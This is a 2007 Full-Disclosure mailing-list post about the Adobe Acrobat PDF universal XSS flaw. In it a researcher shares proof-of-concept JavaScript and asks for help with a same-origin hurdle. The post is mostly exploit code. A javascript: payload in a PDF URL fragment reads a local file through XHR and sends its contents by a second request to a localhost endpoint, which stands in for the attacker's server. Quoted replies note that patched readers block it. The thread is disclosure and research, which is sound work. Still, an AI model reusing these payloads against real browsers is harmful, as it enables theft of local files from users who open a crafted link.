full-disclosure - Re: Universal XSS with PDF files: highly dangerous

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Date: Thu, 4 Jan 2007 10:10:49 -0500
From: "T Biehn" <tbiehn@...il.com>
To: "Juha-Matti Laurio" <juha-matti.laurio@...ti.fi>
Cc: sven.vetsch@...enchant.ch, pdp.gnucitizen@...glemail.com,
	websecurity@...appsec.org, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com, Larry Seltzer <Larry@...ryseltzer.com>
Subject: Re: Universal XSS with PDF files: highly dangerous

I'm trying to put together a demonstration of this vulnerability, and how it
could effect corporate security, however I'm encountering a large hangup
when sending a file 'back' to the webserver, the browser same origin policy
denies me the ability to send files to a different domain, which afaik is
necessary for an external attacker to properly exploit this vulnerability:

Here's the code I have so far, based more or less on PDP's

Vanilla, almost' PDP's (different url, spaces removed etc.)
file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject('Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr =
cXHR();xhr.onreadystatechange = function(){if (xhr.readyState == 4)alert(
xhr.responseText);};xhr.open('GET', 'file:///C:/Program Files/Adobe/Acrobat
6.0/ReadMe.htm', true);xhr.send(null);

What I'm trying to do:
file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject('Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();var xhr2 =
cXHR();xhr.onreadystatechange = function(){if (xhr.readyState == 4){alert(
xhr.responseText);xhr2.open('GET', '
http://localhost:80/whatever.htm?content=' +
xhr.responseText);xhr2.onreadystatechage
= function(){alert('File Transferred!');};xhr2.send(null);}};xhr.open('GET',
'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);xhr.send(null);

Now, one would think that the LOCAL file operating mode of IE would allow
the cross domain XHR request, however this does not work (tested IE 6) I
think because by default IE disallows Javascript access on the local
context.

Try putting this is IE:
file:///C:/Program%20Files/Adobe/Acrobat%206.0/Resource/ENUtxt.pdf#something=javascript:alert('lol')
;
and then try it in FireFox

It won't work in IE 6, but it executes just fine in FireFox.

function cXHR(){ //Grabs a legit XHR.
    try{
        return new ActiveXObject('Msxml2.XMLHTTP');
    }catch(e){}
    try{
        return new ActiveXObject('Microsoft.XMLHTTP');
    }catch(e){}
    try{
        return new XMLHttpRequest();
    }catch(e){}
    return null;
}
var xhr = cXHR(); //For grabbing
var xhr2 = cXHR(); //For sending
xhr.onreadystatechange = function(){
    if (xhr.readyState == 4){
        alert(xhr.responseText);
        xhr2.open('GET', 'http://localhost:80/whatever.htm?content=' +
xhr.responseText); //Send it up, yo.
        xhr2.onreadystatechage = function(){
            alert('File Transferred!');
        };
        xhr2.send(null);
    }
};
xhr.open('GET', 'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);
xhr.send(null);

Anyone's input on this matter would be appreciated.

On 1/4/07, Juha-Matti Laurio <juha-matti.laurio@...ti.fi> wrote:
>
> Additionally, the public PoC doesn't work on Preview version 3.0.8 (409)
> on OS X 10.4.8.
>
> - Juha-Matti
>
> Larry Seltzer <Larry@...ryseltzer.com> wrote:
> > >>"According to public reports, this vulnerability is addressed in Adobe
> > Acrobat Reader 8.0."
> >
> > I've actually tested it. On Reader 8 Acrobat you get a messagebox that
> > says "This operation is not allowed"
> >
> > Larry Seltzer
> > eWEEK.com Security Center Editor
> > http://security.eweek.com/
> > http://blog.eweek.com/blogs/larry%5Fseltzer/
> > Contributing Editor, PC Magazine
> > larryseltzer@...fdavis.com
>
> _______________________________________________
> Full-Disclosure - We believe in it.
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